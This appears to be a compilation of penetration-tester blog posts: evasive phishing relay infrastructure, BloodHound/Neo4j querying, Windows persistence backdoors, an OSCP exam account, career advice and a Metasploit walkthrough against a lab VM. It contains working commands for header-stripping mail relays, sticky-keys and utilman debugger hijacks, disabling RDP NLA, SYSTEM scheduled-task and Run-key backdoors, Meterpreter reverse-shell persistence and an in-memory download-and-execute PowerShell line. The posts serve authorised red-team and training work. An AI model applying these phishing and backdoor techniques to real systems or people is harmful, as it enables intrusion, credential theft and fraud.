Building resilient phishing campaign infrastructure

When running a multi-stage phishing campaign, building and securing our mailing infrastructure can be a tedious and time consuming task. Consider a phishing engagement where the first wave of messages is ineffective against the defender’s network, or the messages are reported to IT staff. If you want a second wave of emails to get through, you’ll need to reroll your setup to a new server to keep the blue team from correlated your attacks by IP address.

Also consider a “pre-phishing” campaign where emails are sent without attempt to achieve command-and-control, but only to gather data about the defender’s network or test egress filtering. If this is detected, we don’t want it to be easy to correlate the attack with the recon.

For these reasons, we’ll adhere to the design considerations of @bluescreenofjeff’s Red Team Infrastructure wiki page. My infrastructure will contain:

  • One backend server (Cobalt Strike, GoPhish, Phishing Frenzy, SET, etc). This server will remain throughout the engagement
  • Multiple SMTP relays to act as redirectors for each stage of attacks

Whenever a new wave needs to be sent, all we would need to do is buy another domain name, configure our DNS to point to a new SMTP relay, and replace the relay address for our backend server.

To ensure my mail is delivered properly, I also wanted to make sure my messages are:

  • SPF compliant
  • DKIM signed
  • Conforming to DMARC
  • Reverse DNS for mail domain ( in screenshots/configs)
  • Mail domain WHOIS data anonymized
  • Mailing domain name in good standing
  • Mailing IP addres in good standing

This Postfix-Server-Setup script will take care of most of configuration of the backend server, including server hardening, mail server configuration using Postfix and Dovecot, SPF/DKIM/DMARC configuration, Gophish installation, and iRedMail administrative and webmail servers. Steps 3, 5, and 8 are required. Step 4 (SSL certificates) is recommended to ensure the data to and from the server is encrypted.

Then configure a second server to use as an SMTP relay to stand as a redirector between our target and our backend server.

#install and configure postfix
apt-get install postfix
postconf -e 'mynetworks = [::ffff:]/104 [::1]/128 [GOPHISH IP]'

service postfix restart

You should consider restricting access to port 25 with iptables to only allow connections from your GoPhish mailing server.

I’ll also configure Postfix to remove some of the sensitive headers from our messages sent from the phishing server.

cat << EOF > /etc/postfix/header_checks /^Received:.*with ESMTPSA/ IGNORE /^X-Originating-IP:/ IGNORE /^X-Mailer:/ IGNORE /^User-Agent:/ IGNORE EOF postconf -e 'mime_header_checks = regexp:/etc/postfix/header_checks' postconf -e 'header_checks = regexp:/etc/postfix/header_checks' postmap /etc/postfix/header_checks service postfix reload

Now that your relay is configured, make sure you add it as the relay for your backend GoPhish server.

postconf -e 'relayhost = [REDIRECTOR]:25'

If you send mail with this configuration, your messages will probably go to spam in Office365 and Gmail mailboxes. I believe this happens because if Microsoft/Google have never seen mail coming from your IP before, they assume it is spam.

We can bypass this defense by relaying mail through a service like Sendgrid or Mailgun. I created a free Sendgrid account. You only need your username and password to configure your server.

On your SMTP redirector, run the following commands (from the Sendgrid docs):

postconf -e 'mydestination = $myhostname,, smtp-redirector-02, localhost.localdomain, localhost' 
postconf -e 'smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd' 
postconf -e 'smtp_sasl_security_options = noanonymous' 
postconf -e 'smtp_sasl_tls_security_options = noanonymous' 
postconf -e 'smtp_tls_security_level = encrypt' 
postconf -e 'relayhost = []:587'

#sendgrid authentication 
echo -e '[]:587 SENDGRID-USERNAME:SENDGRID-PASSWORD' > /etc/postfix/sasl_passwd 
postmap /etc/postfix/sasl_passwd 
chown root:root /etc/postfix/sasl_passwd /etc/postfix/sasl_passwd.db 
chmod 0600 /etc/postfix/sasl_passwd /etc/postfix/sasl_passwd.db 
service postfix restart

That’s all that’s required. You may be asking why the redirector is necessary with this setup? It’s because I couldn’t find a way for Sendgrid to remove mail headers in the final message that point to our backend phishing server. In our current setup, the only addresses that will appear in the headers of the phishing email are Sendgrid’s and our redirector’s addresses.

My DNS records appear in NameCheap’s Advanced DNS pane like such.

If my campaign involves a web server for capturing credentials, that would be hosted elsewhere. The @ and mail records should point to the redirector, not the GoPhish server.

The Postfix-Server-Setup script option 7 will print the required DNS entries for you to copy and paste. We do NOT need a DMARC record, as this is taken care of by SendGrid.

My reverse DNS is configured by the VPS provider of my redirector. I used Vultr:

I like to test my phishing messages’ spaminess against It shouldn’t rate below a 9 with this configuration.

Happy phishing!

A brief tour of BloodHound and Neo4j’s REST API

NOTE: This is not a guide on installing/configuring Neo4j/BloodHound or covering Cypher basics, as this is adequately covered elsewhere. This is a look at specific scenario where BloodHound and the Neo4j API saved me some analysis time, and how you can use the API to script out some phases in your analysis.

I recently was on a pentest of a somewhat large (>500k) node Active Directory environment. Running single-threaded Powerview functions to enumerate the environment seemed to run endlessly. I had used the old ps1 ingestor on smaller networks, but hadn’t yet used the new-and-improved ingestor rewritten in C#. For information on what makes SharpHound so much faster, see these two blogposts by @CptJesus.

Getting all the BloodHound data was as simple as:

IEX(New-Object Net.Webclient).DownloadString(""); Invoke-BloodHound

EDIT: Never pull down scripts directly from github to run on client networks ūüėČ

The SharpHound.ps1 contains the SharpHound assembly as a base64 string, which it then loads in executes. The benefit of this method is complete in-memory execution. The drawback is that if anything inside the SharpHound assembly fails, you won’t get any helpful error messages

The ingestion finished, but the csv files appeared to contain incomplete data. I couldn’t even find the user I ran SharpHound as in the output. I tried running the executable to get a more specific error message, but the ingestion finished without errors, but also without all the data present.

I tried modifying the the number of threads, delay/jitter, connecting to different DCs, but what eventually worked (thanks for the suggestion @CptJesus ūüėÄ ) was executing the collection methods individually. The default collection methods are Group, LocalGroup, Sessions, and Trusts.

I ran each individually with the -CollectionMethod flag. I had to run the LocalGroup twice until the output appeared to have a complete dataset.

I performed a Kerberoast attack which netted over 500 accounts after filtering on the AdminSDHolder property. Since I really didn’t want to spend time cracking 500 Kerberos tickets, nor did I want to enter each user 1 by 1 in the BloodHound UI to find which ones had wide admin privileges.

I went off to the BloodHound Slack server, and learned about Neo4j’s RESTful API server, which will accept Cypher queries. This seemed like the best route to take, so after reading through @CptJesus’s Intro to Cypher (required reading) and the Neo4j HTTP API documentation, I was ready to get started.

Make sure neo4j is up and running and has your data. You should be able to navigate to To verify my data is there, I’ll run a query to count the number of nodes present:

(This was only after I imported the group_membership.csv and local_admins.csv into BloodHound, as that was all I needed for this stage)

The API can be queried at http://localhost:7474/db/data/transaction/commit

You need to set the following HTTP headers:

Accept: application/json; charset=UTF-8
Content-Type: application/json

I’ll pull this query from @CptJesus’s Intro to Cypher post,¬† format it as JSON, and POST it to the endpoint specified above:

 "statements": [
 "statement": "MATCH (n:User), (m:Group {name: 'DOMAIN [email protected]'}), p=shortestPath((n)-[*1..]->(m)) RETURN p"

There are a lot of really great queries built in to BloodHound. If we want to see what queries BloodHound is running under the hood, we need to enable Query Debug Mode in under the settings menu in BloodHound.

Since I want to know which users have admin rights on the domain, I’m interested in:

First Degree Local Admin Rights

MATCH p = (n:User {name:{name}})-[r:AdminTo]->(c:Computer) RETURN p

Group Delegated Local Admin Rights

MATCH p=(n:User {name:{name}})-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(c:Computer) RETURN p

Derivative Local Admin Rights

MATCH (c:Computer) WHERE NOT{name} WITH c MATCH p = shortestPath((n:User {name:{name}})-[r:HasSession|AdminTo|MemberOf*1..]->(c)) RETURN p

If I want to curl to find the number of derivative local admins a user has:

curl -X POST \
> http://localhost:7474/db/data/transaction/commit \
> -H 'accept: application/json; charset=UTF-8' \
> -H 'authorization: BASE64 ENCODED USER:PASS' \
> -H 'content-type: application/json' \
> -d '{"statements": [{"statement": "MATCH (c:Computer) WHERE NOT'\''[email protected]'\'' WITH c MATCH p = shortestPath((n:User {name:'\''[email protected]'\''})-[r:HasSession|AdminTo|MemberOf*1..]->(c)) RETURN count(p)"}]}'

The results are returned as JSON which will need to be parsed:


Now I could probably do this with Bash somehow, but I’m more comfortable with Python. Here is a link to the working script

Done. With a list of domain users which admin rights in the network, I spun up some NV6 instances in Azure, cracked multiple tickets, and shortly after obtained DA creds.

Post exploitation – persisting and triggering backdoors in Windows part 1

A backdoor has three key components: persistence, a trigger, and a payload.In this post, I’ll cover some methods of persisting your payload on a Windows box you’ve owned.

Startup folder

Binaries or batch files inside the startup folder will execute. Startup folder is one on of the following locations:
C:\Users\USER\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
C:\Documents and Settings\All Users\Start Menu\Programs\Startup

RDP + Sticky Keys

If RDP is available, you can easily backdoor the Sticky Keys executable. You can also enable RDP with the two commands:

netsh advfirewall firewall add rule name="RDP access" dir=in action=allow protocol=TCP localport=3389
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Simple replace c:\windows\system32\sethc.exe with the payload of your choosing. When you’re on on the RDP screen, press shift 5 times and you’ll find your payload executed.

To the login screen from Windows RDP client, you need to change a registry key to be able to bypass network layer authentication (NLA) to get to a generic RDP window:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Cont
rol\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0

Now we want to copy cmd.exe over C:\windows\system32\sethc.exe, but we can’t do that when the operating system is booted. Either do this offline, or make a registry edit to add cmd as a debugger for sethc.exe

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe

You can also do the same for Utilman.exe, which can be triggering by navigating to accessibility settings from the login screen (there is a button, or press Windows key + U).

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\I
mage File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "C:\windows\sy

(idea from


There are several registry keys which we can write that will run a command in CMD

The follow keys run after a user logs in:

 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

The following keys will run before the login screen appears. They will run a service that has already been configured on the machine.


The RunOnce keys will delete themselves after running. Run keys are not run if the machine is booted into safe mode.

You can add registry keys from the command line:

reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v PAYLOAD.dll /t REG_MULTI_SZ /d "C:\PAYLOAD.EXE"


We can schedule tasks to run a command on a given schedule, from once a second to when a user logs in.

schtasks /create /tn "SystemTask" /tr "cmd /C 'PAYLOAD.EXE'" /rl HIGHEST /ru SYSTEM /sc ONSTART

/tn specifies the name of the task
/tr specifies the command to run
/rl specifies run level. I don’t think this is related to Unix run levels, but is instead a privilege thing
/ru the user the payload is run under.
/sc is the frequency. we want it to run when the machine starts up.

We have quite a bit of options available for frequency. Although I won’t go into gory details on scheduling Windows tasks (go here if you want to read that), there is an ONEVENT modifier which allows us to specify a XPath event query string to trigger a task.Using this query, our payload based off of a given channel or log file that we can trigger externally.

I’ll be covering triggering more extensively later, but here’s a quick example of creating a scheduled tasks that will be triggered by a failed RDP login with a specified username.

C:\Windows\System32>schtasks /Create /RU SYSTEM /SC ONEVENT /MO "*[System[EventI
D=4625]] and *[EventData[Data='USERNAME_BACKDOOR']]" /EC Security /TN "RDP
 Backdoor" /TR "C:\PAYLOAD.EXE" /F
SUCCESS: The scheduled task "RDP Backdoor" has successfully been create

4625 is the event ID of the failed RDP login entry in the Security log.


Metasploit’s meterpreter gives us a ruby script for creating persistent backdoors. persistence.rb will add a registry key to automatically start an executable that will create a meterpreter shell as a service that runs on start-up. We can specify whichever payload we want. Meterpreter also still supports the legacy metsvc payload, but I didn’t look into it.

meterpreter > run persistence -h

    -A        Automatically start a matching exploit/multi/handler to connect to the agent
    -L <opt>  Location in target host to write payload to, if none %TEMP% will be used.
    -P <opt>  Payload to use, default is windows/meterpreter/reverse_tcp.
    -S        Automatically start the agent on boot as a service (with SYSTEM privileges)
    -T <opt>  Alternate executable template to use
    -U        Automatically start the agent when the User logs on
    -X        Automatically start the agent when the system boots
    -h        This help menu
    -i <opt>  The interval in seconds between each connection attempt
    -p <opt>  The port on which the system running Metasploit is listening
    -r <opt>  The IP of the system running Metasploit listening for the connect back

We can create the backdoor using the following simple command:

run persistence -U -i 20 -p 5555

Now, the biggest benefit of going to all this trouble is some of the obfuscation methods that these payloads support. Although none of these backdooring methods support authentication, we can go to this extra effort to obfuscate the backdoor.

We can connect to the shell later using the corresponding payload inside of a Metasploit handler.

Here are the payloads which support some level of obfuscation:

This payload only accepts connections from a supplied IP address.

This payload will make the port appear closed unless connected to using a specific IP address, after which the port will open up. This is usually accomplished by spoofing your IP address to open the port, and then connecting with the handler module.


OSCP – Trying harder than ever before

Where I come from, being a tryhard has a lot of negative connotations.

Typical tryhard

Over the summer, I had the pleasure of taking Offensive Security’s Pentesting with Kali (PWK) course. I tried, tried hard, tried even harder.

Are you ready?

The biggest question leading up to the start of my lab time was “am I ready for this?”. As a young professional who hasn’t even been out of college for a year, I had many doubts regarding my abilities as a penetration tester. I had done some CTFs, some Vulnhub VMs, but had never done a professional penetration test. As you would expect from a recent college graduate, a lot of my knowledge was purely theoretical. I knew how attacks worked, but had only performed a few basic attacks. When I first read about this course a few years ago in college, I thought “maybe I’ll be good enough to take the course in 5 years”. I signed up anyway, and I’m so glad I did!

Offensive Security’s only states the prerequisites as “a solid understanding of TCP/IP, networking and reasonable Linux skills”. Here are some of the topics you should be familiar with:

  • You should be good with Linux and Windows command lines. I only got an RDP session with a few machines in the lab. The rest of the machines are interactive via a command line. If you understand these Linux ( ) and Windows ( ) commands, command structures, and command output, you are good (hint: you’re going to be using those two tutorials a lot)
  • You should understand the uses, limitations, and differences between popular networking protocols. If know what ICMP does, the differences between TCP and UDP, the differences between the services on TCP port 139 and TCP port 445, you’re OK.
  • You should understand the basic structure of packets. If the Wireshark interface is completely foreign to you, you might want to brush up on that.
  • You should be able to write basic Bash scripts. If you can write a Bash script that accepts some command line arguments, run some other commands in a loop, use if statements, and parse output with cut/sed/awk/whatever, you’re good
  • You should be able to read over Python/Perl/Ruby/C code and have a basic understanding of what it’s trying to do. I’m not saying you need to be able to understand every line of C code, but you should be able to understand what the code is attempting to do. Not every exploit will work unmodified, and the only way to know what’s wrong is to read and understand the code.
  • You should be familiar with what a debugger is capable of. In the course, you will be using a debugger to observe how a program crashes, and manipulate that crash to achieve code execution via a simple buffer overflow. If you can follow these two tutorials, you’re golden (

Now obviously, you don’t need to be an expert in any of the above before you start the course. This is, after all, a training. It’s just helpful to have a solid foundation and not be playing catch-up while in the lab. See the syllabus for more detailed information on what is covered in the course

If you’re unsure, I recommend either buying this book ( ) or going over this course ( ). A lot of the material here can be directly applied to the labs.

I think it would also be beneficial to go over Metasploit Unleased ( prior to your time in the lab.

Signing up

I signed up for 90 days of lab time. This cost $1150, and included all the course material, and an exam attempt. Lab time starts on Saturdays, so plan your schedule accordingly. I received an email with all the course materials and my VPN connection pack.


Course VM

Offensive Security provides a non-standard 32-bit Kali VM for the purpose of this course. They said a stock/custom Kali VM is not officially supported. From what I can tell, the only part of the course that absolutely requires the OffSec VM is the Linux buffer overflow section. After I completed the course material on buffer overflows, I moved to a standard 64-bit Kali VM and never had any issues. The reason I moved over was for compatibility issues with the VMware tools. A list of additional tools installed by OffSec on the course VM can be found on the forums, and it is trivial to compile 32-bit exploits on a 64-bit machine (-m32 for gcc)

Ultimately it’s up to you.

Remember to take a snapshot of your machine EVERY DAY. When something inevitably fails, you’ll be glad you did.

Course materials

The course PDF was 376 pages. There are 148 videos, each ranging anywhere from 1 minute to 10 minutes. Although I was familiar with most of the concepts in the lab, it still took almost 2 weeks of full-time commitment (i.e. I didn’t go to work) to finish all content in the PDF and videos.

I recommend going through the videos and PDF side by side. Each video corresponds with a section in the PDF, and the material covered is not always the same. There might be some instructions in the video that aren’t in the PDF, or vice versa.

Make sure you start documenting the course exercises from the beginning if you plan on submitting this. Completing the course materials will give you up to 5 extra points on your exam score, and you’re definitely going to want this boost.

Taking notes

I started taking notes with Keepnote, but eventually moved over to Evernote. I had a stack of notebooks for each network, one notebook per host. Inside of each notebook, I would have a page for raw scans, a page for personal notes and observations, a page for my report, a page for different exploits I had already tried, a page for commands I already tried, etc. The idea was to not do any work twice. Evernote will sync between computers, which was nice.

I also kept a folder on my Kali VM where I also kept scan results, scripts, successful exploits, etc. I kept this synced by committing to a private Git repository. If you’re only doing the course from a single computer, you should still do this because it’s nice to have a backup.

The lab

There are around 55 machines in the lab, split between 4 different networks. To start, you only have access to the public network, but there are 3 other networks that aren’t routable to begin with. You can start with pretty much any machine you want, but my advice would be to leave the big 3 bosses (PAIN, SUFFERANCE, and HUMBLE) for last. Personally, I started with the low hanging fruit: Windows XP/2000 boxes or Linux boxes with old kernels are usually pretty easy to crack.

I set a goal for at least a new low priv shell/root shell every day, it’s really hard to follow goals like this. Sometimes I didn’t get any new shells for a week. Some days I would get 3 or 4 root shells. As you move your way through the network and figure out the dependencies, the shells will start to roll in.

Although there are several public machines with routes to the IT/dev networks, not all of these are ideal for our pivots. OffSec made it easy on us and put some dual-homed machines in there with SSH and nmap already installed. If you find a dual-homed machine without an SSH server already installed, my advice would be to keep note that the machine is dual-homed, but look for a better pivot. I wasted a lot of time trying to set up the required software to pivot. If you‚Äôre unfamiliar with the concept of pivoting AND you’re not even sure if you installed the SSH server correctly, it’s not very cohesive for learning.

I also recommend you read OffSec’s write-up of ALPHA. It’s great to read other people’s methodology for scanning, exploiting, and enumeration. Definitely check it out on the forum section for ALPHA

Here are some general hints on how to best spend your lab time:

  • It’s no secret that some machines in the lab require some piece of information to crack (i.e. re-used passwords, passwords in a .txt file, or a client-sided attack). Unfortunately, nobody will ever tell you which machines those are. If you’re scanning a machine and doing some good enumeration, but still can’t find a way in, move on and circle back. If you’re doing good post-exploitation on machines you root, you’ll find the hints. They’re not hidden.
  • #offsec on freenode and the forums were a great support. If you’re totally lost on a machine or are not sure if you have the correct vector, you can usually gather enough information from censored forum posts to know if you’re going down the right track (although there are usually more ways than one into a machine).
  • Don’t pay much attention to !hints in IRC. They hardly ever make sense, even after you’ve rooted the box
  • Don’t bother going to OffSec admin support unless you have a lot of work to show them. Going to them saying “help” or “I’m out of ideas” will get you a response of “try harder” or “go back to the enumeration step”. They can tell you if you’re on the right path, if you’re missing something obvious, or if you’re going down a rabbit hole, but only if you have work to show for it.
  • Brute force attacks are not as prevalent as I thought they would be. For online password attacks, if you don’t know a username, don’t even bother. If you know a username, don’t spend more than 5 minutes on a brute force attack. This is intentionally designed this way. If this is a route OffSec wanted you to take, the password will be very easy to guess. Don’t forget about Hydra’s -e option ūüôā
  • Cracking hashes: unlike in a real penetration test, I recommend you try using online services before cracking unsalted hashes yourself. Crackpot, Hashkiller, and Crackstation were the 3 online services I primarily used. If they failed, I had cudaHashcat installed on my host machine. I’m not sure how fast this will be if you‚Äôre only using your CPU inside a VM, but with an NVIDIA 960 you can get a pretty good hash rate, depending on the algorithm used. For dictionaries, I definitely recommend you find a good English dictionary. I was very disappointed in rockyou’s performance. I never cracked any of the root passwords for the Linux boxes, but I never really needed to.
  • If you find yourself running exploits at the rate of one every few minutes, you need to take a step back and look at your enumeration results. For any exploit that you run, you need to have at least one solid piece of evidence that the exploit will be successful. ALWAYS read over the exploit
  • I never had to download a different OS to compile/test exploits. If you’re thinking you need to do this, you need to back up a few steps
  • Recursively running Dirbuster is a huge waste of time

Exam attempt 1

I thought I would have to buy an extension for sure. But as the shells kept rolling in, I realized around day 70 that the end was near. At around day 85, I had a proof.txt for every machine in the lab (with the exception of the firewall and the proxy server).

I recommend booking your exam over a month in advance, because weekend slots are usually filled for months out. You can always reschedule later if something comes up. Also note that lab extensions include a free exam attempt, so if you are buying an extension, you might as well take the exam and get that first fail out of the way ūüôā

A few notes about the exam: no, you can’t run any tools you want. Vulnerability scanner (Nessus, Nexpose, OpenVAS) are not allowed. SQLmap/SQLninja are not allowed. You are only allowed to use Metasploit auxiliary, exploit, and post modules on a SINGLE machine on the exam. You can use any Metasploit payload you want as many times as you want, and you can use all Meterpreter functions except getsystem.

“But what if I have a time-based blind SQL injection vulnerability on the exam? I can’t do that manually!” Don’t worry about it.

Although I know that most people do not pass on the first attempt, I felt pretty confident about this exam. I had 50+ lab machines under my belt, I could write a basic buffer overflow in a few hours, and I had written quite a few scripts to augment both remote and local enumeration.

I started at noon on Friday. I got my first shell within 20 minutes, but things really started going downhill from there. I didn’t manage my time well, I made some mistakes early on which cost me a lot of time, and I wasted my Metasploit lifeline. My advice here is: do it right and do it thoroughly the first time, or don’t even bother doing it. Also, save your lifeline for as long as you can. If you suspect a host is vulnerable to a Metasploit exploit module, save it for last.

In the exam, each box is given a point value for a total of 100 points. If you submit a lab report and include the answers to the course exercises, you are given 10 extra points. Low privileged shells are worth “some” points (I don’t imagine more than half).

My first attempt got me around 55 points, including my lab report. Although I felt prepared, I obviously had some more work to do. Definitely turn in your lab report and course materials and ask for feedback so you know you’re getting the maximum 10 extra points.


Exam attempt 2

When I initially scheduled my second attempt, there were no slots available for over a month. I checked back a few days later, and saw slots available for the next week. Check back with the schedule often if you are looking for earlier slots.

I made some improvements to my scripts, and practiced on some vulnerable VMs from Vulnhub. I also practiced writing more buffer overflows.

My next attempt was much smoother. I had 1 root and 2 low priv shells after only 2 hours. After 16 hours, I was confident I had enough points to pass, but probably spent a total of 21 hours in the exam, with an hour for dinner and a two hour nap. A lot of people say “take regular breaks”, “sleep”, “eat snacks”, etc. The only time I would go AFK was when I started to feel frustrated. When the frustration sets in, get up for a bit, and move on to a different machine when you come back. I wouldn’t recommend sleeping unless you think you have enough points to pass.

I finished the exam with 3 root shells and 1 low priv shell, for a total of 65 points (including the extra credit from the lab and course exercises). You need 70 points to pass. Since you don’t know how many points low privileged shells are, I wasn’t 100% sure I had enough points to pass. I was hoping a low privileged shell would be at least 5 points.


A few days later I got the best email of my life: “We are happy to inform you that you have successfully completed the Penetration Testing with Kali Linux certification exam and have obtained your Offensive Security Certified Professional (OSCP) certification”



I spent an average of 5 hours in the lab on weekdays, 10 hours in the lab on weekends, for about 12 weeks. In total, I probably spent around 600 hours in the lab over my 90 days. I did this along side a 40 hour work week. Fortunately I had no relationship or familial issues distracting me during this time. Obviously the time required may vary depending on your past penetration testing experience and current living situations, but hopefully this will give you an idea of the time commitment required.

Overall, my experience in the labs was 12/10. I learned more and worked harder in the labs than in all 4 years of college combined. I recommend this course to anyone interested in doing penetration testing as their line of work. I think that having this certification shows employers that you know enough about IT and information security to apply your knowledge to unfamiliar scenarios. Thanks to all the Offensive Security staff for such a fun summer! I look forward to applying the skills and work ethic developed in the course on the job.

For those people who haven’t been doing pentesting for years: The lab and exam are no joke. Many nights, you’ll go to sleep feeling like a failure and think to yourself “penetration testing is too difficult; I must change career paths”. But just try, try hard, and try harder!

I plan on taking the OSCE and OSWP in 2017. Hit me up on the twitter ( if you have questions about the course.

Happy hacking, and don’t forget to try harder!

So you want to be a penetration tester…

I recently put together a list of recommendations for a potential candidate at work who was interested in penetration testing. I thought I might share it here.

First off, let’s assume you have some basic IT/security knowledge, and you want to move more towards a role in security. Are you sure you want to do penetration testing, instead of another discipline? Lesley Carhart has a very good series of blog posts regarding this topic, including some descriptions of various blue team/red team positions and the type of work they do. It’s a 3 part series which is worth reading, but this is the post I’m referring to. Read it, and if you still think penetration testing is for you, let’s continue.

Download and run Kali linux ( ). Most people will run this in a virtual machine (VMware/Virtualbox). If you aren’t very comfortable with setting up and configuration virtual machines and debian-based Linux distributions, you have some more work to do. If you’re familiar with Ubuntu, then you should be comfortable with Kali linux.

Here are the tools I found myself using a lot as a beginner

  • Nmap (network and vulnerability scanning)
  • Metasploit (exploitation framework)
  • OWASP ZAP/Burp Suite Free (web application testing proxies)
  • Wireshark (packet sniffer/analyzer)
  • Netcat (TCP/UDP networking utility)

You need to practice using these tools and know them inside and out. The best way to do this is the documentation/man pages. For Metasploit, you can complete the Metasploit Unleashed training ( )

A good target for practice is Metasploitable ( ). You will also run this in a virtual machine. If you’re more interested in web application security testing and exploitation, Damn Vulnerable Web App ( ) and OWASP Broken Web App ( )

After you’ve gutted these machines, go to Vulnhub ( They have many more intentionally vulnerable “boot-to-root” virtual machines that can be imported and attacked, with skill levels ranging from beginner to expert.

If you don’t already know one, you should be pretty good with at least one scripting language (Python/Perl/Ruby). It also really helps to know Bash. Powershell is good to know too, but less useful in the beginning as you will be attacked primarily *nix machines. Ideally, you should be able to read code and understand what it’s doing, no matter the language it is written in.

Some resources to augment your learning can be found in here. You don’t need to buy all the books, but maybe pick a few that interested you, and go through them.

After you‚Äôve done all of this, you‚Äôll want to set your sights on the OSCP (Offensive Security Certified Professional) certification ( ). It can be a little expensive if you‚Äôre paying for it for yourself, but it is worth every penny. I’d say if you’re probably ready about 5-10 VMs from Vulnhub.

Some websites to follow for security news (my personal favorites):

The following are not focused on security, but are still good resources for technology news

A few suggestions I got when I was job hunting:

  • Put any code you‚Äôve written for school or personal projects on github, put a link in your resume
  • Write about your current projects on a blog (like this one!). This helps show that you 1) know the tools 2) know the industry and 3) can communicate your knowledge with other people
  • Attend security/hacker meetups in your area (BSides, 2600, DEFCON meetups, OWASP/ISSA chapters, etc)

Some closing suggestions/thoughts of my own

  • Get a twitter, and follow all the big names in information security
  • NEVER attack a machine you don‚Äôt own. This is what‚Äôs called a ‚Äúcareer-limiting move‚ÄĚ. Eventually, you‚Äôll be given permission to attack machines owned by somebody else. For now, just stick to machines on your own network that you personally own.
  • Don‚Äôt get into this field if you aren‚Äôt passionate about security. It‚Äôs not a 9-5 job.

Exploiting machines using Metasploit

Metasploit is a powerful tool for exploiting vulnerabilities on remote hosts. Metasploit allows you to trivially run an exploit on a host to execute a payload. I will take a look at some basics of Metasploit and use it to exploit some vulnerabilities in a Metasploitable VM.

Starting up the Metasploit framework from Kali. You will see it under Applications -> Exploitation Tools

msf > version
Framework: 4.11.5-2015121501
Console  : 4.11.5-2015121501.15168

I can execute relevant Linux commands from within the msf console.

msf > ifconfig
[*] exec: ifconfig

eth0      Link encap:Ethernet  HWaddr 00:0c:29:fa:df:2f  
          inet addr:  Bcast:  Mask:

I can also use other tools within the msf console.

msf > nmap -sn
[*] exec: nmap -sn

Starting Nmap 6.49BETA5 ( ) at 2016-01-05 18:13 EST
Nmap scan report for
Host is up (0.00044s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for
Host is up (0.000050s latency).
MAC Address: 00:50:56:E9:39:5C (VMware)
Nmap scan report for
Host is up (0.00049s latency).
MAC Address: 00:0C:29:54:6E:48 (VMware)
Nmap scan report for
Host is up (0.00011s latency).
MAC Address: 00:50:56:FF:4C:2F (VMware)
Nmap scan report for
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.79 seconds

msf > nmap -sV
[*] exec: nmap -sV

Starting Nmap 6.49BETA5 ( ) at 2016-01-05 18:30 EST
Nmap scan report for
Host is up (0.00014s latency).
Not shown: 977 closed ports
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  tcpwrapped
1099/tcp open  rmiregistry GNU Classpath grmiregistry
1524/tcp open  shell       Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         Unreal ircd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:54:6E:48 (VMware)
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 14.06 seconds

I will try to gain shell access by exploiting Samba. Metasploit has two ports for Samba open: port 139 and port 445. Port 445 runs Samba over SMB directory over TCP, while port 139 runs Samba over NetBIOS over TCP.

I can search for exploits in the database using the search command:

msf > search Samba

Matching Modules

   Name                                            Disclosure Date  Rank       Description
   ----                                            ---------------  ----       -----------
   auxiliary/admin/smb/samba_symlink_traversal                      normal     Samba Symlink Directory Traversal
   auxiliary/dos/samba/lsa_addprivs_heap                            normal     Samba lsa_io_privilege_set Heap Overflow
   auxiliary/dos/samba/lsa_transnames_heap                          normal     Samba lsa_io_trans_names Heap Overflow

The results show the name of the exploit, when the exploit was disclosed, a ranking of the exploit (based on stability of the exploit and range of targets), and a description of the exploit including OS and service versions.
Metasploit also offers a grep tool, which can provide more search flexibility at the cost of formatting:

msf > grep -i samba search
   auxiliary/admin/smb/samba_symlink_traversal                                               normal     Samba Symlink Directory Traversal
   auxiliary/dos/samba/lsa_addprivs_heap                                                     normal     Samba lsa_io_privilege_set Heap Overflow
   auxiliary/dos/samba/lsa_transnames_heap                                                   normal     Samba lsa_io_trans_names Heap Overflow
   auxiliary/dos/samba/read_nttrans_ea_list                                                  normal     Samba read_nttrans_ea_list Integer Overflow
   auxiliary/scanner/smb/smb_uninit_cred                                                     normal     Samba _netr_ServerPasswordSet Uninitialized Credential State
   exploit/freebsd/samba/trans2open                                         2003-04-07       great      Samba trans2open Overflow (*BSD x86)
   exploit/linux/samba/chain_reply                                          2010-06-16       good       Samba chain_reply Memory Corruption (Linux x86)

I’ll be limited to exploits against Linux, since my only target is Metasploitable. I’m going to just pick one at random and go from there.

msf > use exploit/linux/samba/lsa_transnames_heap
